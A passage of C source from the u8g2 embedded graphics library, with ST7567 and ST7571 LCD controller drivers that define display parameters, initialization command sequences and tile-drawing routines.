U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int >> 2 ); /* st7567 has range from 0 to 63 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* The following if condition checks the hardware limits of the st7567 controller: It is not allowed to write beyond the display limits. This is in fact an issue within flip mode. */ if ( c + x > 132u ) { c = 132u; c -= x; } do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } uint8_t u8x8_d_st7567_enh_dg128064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_enh_dg128064_display_info); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_n_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_n_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return u8x8_d_st7567_enh_dg128064_generic(u8x8, msg, arg_int, arg_ptr); } return 1; } uint8_t u8x8_d_st7567_enh_dg128064i(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_enh_dg128064i_display_info); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return u8x8_d_st7567_enh_dg128064_generic(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=====================================================*/ /* issue 657 */ static const u8x8_display_info_t u8x8_st7567_64x32_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* */ /* pre_chip_disable_wait_ns = */ 50, /* */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* */ /* sck_pulse_width_ns = */ 120, /* */ /* sck_clock_hz = */ 4000000UL, /* */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* */ /* write_pulse_width_ns = */ 80, /* */ /* tile_width = */ 8, /* tile_height = */ 4, /* default_x_offset = */ 32, /* flipmode_x_offset = */ 32, /* pixel_width = */ 64, /* pixel_height = */ 32 }; static const uint8_t u8x8_st7567_64x32_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC */ U8X8_C(0x0c0), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ U8X8_C(0x028|4), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|6), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|7), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x024), /* v0 voltage resistor ratio, taken from issue 657 */ U8X8_CA(0x081, 0x020), /* set contrast, contrast value*/ /* 18 Apr 2020: the value 0x080 does not make sense, only 6 bit are supported for contrast, changed to 0x040 */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st7567_64x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_64x32_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_st7567_64x32_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int >> 2 ); /* st7567 has range from 0 to 63 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* The following if condition checks the hardware limits of the st7567 controller: It is not allowed to write beyond the display limits. This is in fact an issue within flip mode. */ if ( c + x > 132u ) { c = 132u; c -= x; } do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=====================================================*/ /* issue 1159, Lummax HEM6432-03 */ static const u8x8_display_info_t u8x8_st7567_hem6432_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* */ /* pre_chip_disable_wait_ns = */ 50, /* */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* */ /* sck_pulse_width_ns = */ 120, /* */ /* sck_clock_hz = */ 4000000UL, /* */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* */ /* write_pulse_width_ns = */ 80, /* */ /* tile_width = */ 8, /* tile_height = */ 4, /* default_x_offset = */ 36, /* issue 1159 */ /* flipmode_x_offset = */ 32, /* issue 1159 */ /* pixel_width = */ 64, /* pixel_height = */ 32 }; static const uint8_t u8x8_st7567_hem6432_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC */ U8X8_C(0x0c0), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ U8X8_C(0x028|4), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|6), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|7), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x024), /* v0 voltage resistor ratio, taken from issue 657 */ U8X8_CA(0x081, 225/4), /* set contrast, contrast value as suggested inissue 1159 */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st7567_hem6432(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_hem6432_display_info); u8x8->i2c_address = 0x07e; /* issue 1159, use different i2c address */ break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_st7567_hem6432_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int >> 2 ); /* st7567 has range from 0 to 63 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* The following if condition checks the hardware limits of the st7567 controller: It is not allowed to write beyond the display limits. This is in fact an issue within flip mode. */ if ( c + x > 132u ) { c = 132u; c -= x; } do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=====================================================*/ /* https://github.com/olikraus/u8g2/issues/1088 https://www.dx.com/p/opensmart-33v-26-inch-128x64-serial-spi-monochrome-lcd-breakout-board-module-with-backlight-for-arduino-nano-pro-mini-2710499.html */ static const u8x8_display_info_t u8x8_st7567_os12864_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* */ /* pre_chip_disable_wait_ns = */ 50, /* */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* */ /* sck_pulse_width_ns = */ 120, /* */ /* sck_clock_hz = */ 4000000UL, /* */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* */ /* write_pulse_width_ns = */ 80, /* */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 4, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 64 }; static const uint8_t u8x8_st7567_os12864_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC set to reverse */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a3), /* LCD bias 1/7 */ /* power on sequence from paxinstruments */ U8X8_C(0x028|4), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|6), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|7), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x026), /* v0 voltage resistor ratio */ U8X8_CA(0x081, 50>>2), /* set contrast, contrast value*/ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* open-smart 12864 display */ uint8_t u8x8_d_st7567_os12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_os12864_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_st7567_os12864_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int >> 2 ); /* st7567 has range from 0 to 63 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* The following if condition checks the hardware limits of the st7567 controller: It is not allowed to write beyond the display limits. This is in fact an issue within flip mode. */ if ( c + x > 132u ) { c = 132u; c -= x; } do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=====================================================*/ /* https://github.com/olikraus/u8g2/discussions/1868 https://github.com/olikraus/u8g2/issues/1869 https://www.buydisplay.com/cog-serial-spi-132x32-graphic-lcd-display-no-backlight-st7567a ERC13232 copied from U8G2_ST7567_PI_132X64 */ static const u8x8_display_info_t u8x8_st7567_132x32_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* */ /* pre_chip_disable_wait_ns = */ 50, /* */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 50, /* */ /* sck_pulse_width_ns = */ 120, /* */ /* sck_clock_hz = */ 4000000UL, /* */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* */ /* write_pulse_width_ns = */ 80, /* */ /* tile_width = */ 17, /* width of 17*8=136 pixel */ /* tile_height = */ 4, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 132, /* pixel_height = */ 32 }; static const uint8_t u8x8_d_st7567_erc13232_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC set to reverse */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a3), /* LCD bias 1/7 */ /* power on sequence from paxinstruments */ U8X8_C(0x028|4), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|6), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x028|7), /* all power control circuits on */ U8X8_DLY(50), U8X8_C(0x026), /* v0 voltage resistor ratio */ U8X8_CA(0x081, 0x027), /* set contrast, contrast value*/ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* ERC13232 */ uint8_t u8x8_d_st7567_erc13232(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_132x32_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_erc13232_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int >> 2 ); /* st7567 has range from 0 to 63 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* The following if condition checks the hardware limits of the st7567 controller: It is not allowed to write beyond the display limits. This is in fact an issue within flip mode. */ if ( c + x > 132u ) { c = 132u; c -= x; } do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st7571.c ================================================ /* u8x8_d_st7571.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2020, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ST7571: 128x129 2-bit graylevel LCD https://github.com/olikraus/u8g2/issues/921 https://github.com/olikraus/u8g2/issues/1575 128x96 */ #include "u8x8.h" static const uint8_t u8x8_d_st7571_128x128_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x071), /* exit power save mode */ U8X8_C(0x0a8), /* disable powersave mode */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7571_128x128_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a9), /* enter powersave mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7571_128x128_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7571_128x128_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /*===================================================*/ static uint8_t u8x8_d_st7571_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint16_t x; uint8_t c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7571_128x128_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x128_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x128_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x128_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x128_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x128_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int>>2); // 6 bit for the ST7571 u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* SendData can not handle more than 255 bytes */ /* if ( c > 31 ) { u8x8_cad_SendData(u8x8, 31*8, ptr); ptr+=31*8; c -= 31; } */ u8x8_cad_SendData(u8x8, c*8, ptr); arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*===================================================*/ /* QT-2832TSWUG02/ZJY-2832TSWZG02 */ /* fixed the 0x40 and 0x48 commands, verified with FlipMode example: All ok */ static const uint8_t u8x8_d_st7571_128x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xAE), // Display OFF U8X8_C(0x38), // Mode Set U8X8_C(0xB8), // FR=1011 (85Hz), BE[1:0]=10, level 3 booster U8X8_C(0xA0), // ADC select U8X8_C(0xC8), // SHL select U8X8_CA(0x44, 0x00), // COM0 register U8X8_CA(0x40, 0x0), // initial display line (0x7f... strange but ok... maybe specific for the JLX128128) // 2 sep 2021: maybe this also wrong because the 0x44 command is overwritten later. // 4 Mar 2022: Changed to 0 U8X8_C(0xAB), // OSC ON U8X8_C(0x25), // Voltage regulator U8X8_CA(0x81, 0x33), // Volume U8X8_C(0x54), // LCD Bias: 0x056=1/11 (1/11 according to JLX128128 datasheet), 0x054=1/9 U8X8_CA(0x48, 0x80), // Duty 1/128 // 2 Sep 2021: Should this be 00x48??? // 4 Mar 2022, cmd changed to 0x48, arg changed to 0x80 U8X8_C(0x2C), // Power Control, VC: ON, VR: OFF, VF: OFF U8X8_DLY(200), U8X8_C(0x2E), // Power Control, VC: ON, VR: ON, VF: OFF U8X8_DLY(200), U8X8_C(0x2F), // Power Control, VC: ON, VR: ON, VF: ON U8X8_DLY(10), U8X8_C(0x7B), // command set 3 U8X8_C(0x11), // black white mode U8X8_C(0x00), // exit command set 3 U8X8_C(0xA6), // Display Inverse OFF U8X8_C(0xA4), // Disable Display All Pixel ON //U8X8_C(0xAF), // Display on U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7571_128x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 20, /* */ /* sck_pulse_width_ns = */ 40, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 15, /* write_pulse_width_ns = */ 70, /* tile_width = */ 16, /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 128 }; uint8_t u8x8_d_st7571_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_st7571_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; switch(msg) { case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7571_128x128_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7571_128x128_display_info); break; default: return 0; } return 1; } /*===================================================*/ /* https://github.com/olikraus/u8g2/issues/1575 http://www.jlxlcd.cn/html/zh-detail-1211.html */ static const uint8_t u8x8_d_st7571_128x96_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xAE), // Display OFF U8X8_C(0x38), // Mode Set //U8X8_C(0xB8), // FR=1011 (85Hz), BE[1:0]=10, level 3 booster U8X8_C(0x94), // 128x96: 75 Hz U8X8_C(0xA0), // ADC select U8X8_C(0xC8), // SHL select U8X8_CA(0x44, 0x20), // 128x96: COM0 register U8X8_CA(0x40, 0x00), // 128x96 datasheet U8X8_C(0xAB), // OSC ON U8X8_C(0x27), // 128x96: Voltage regulator U8X8_CA(0x81, 0x28), // 128x96: Volume U8X8_C(0x57), // 128x96: LCD Bias: 1/12 U8X8_CA(0x48, 0x61), // 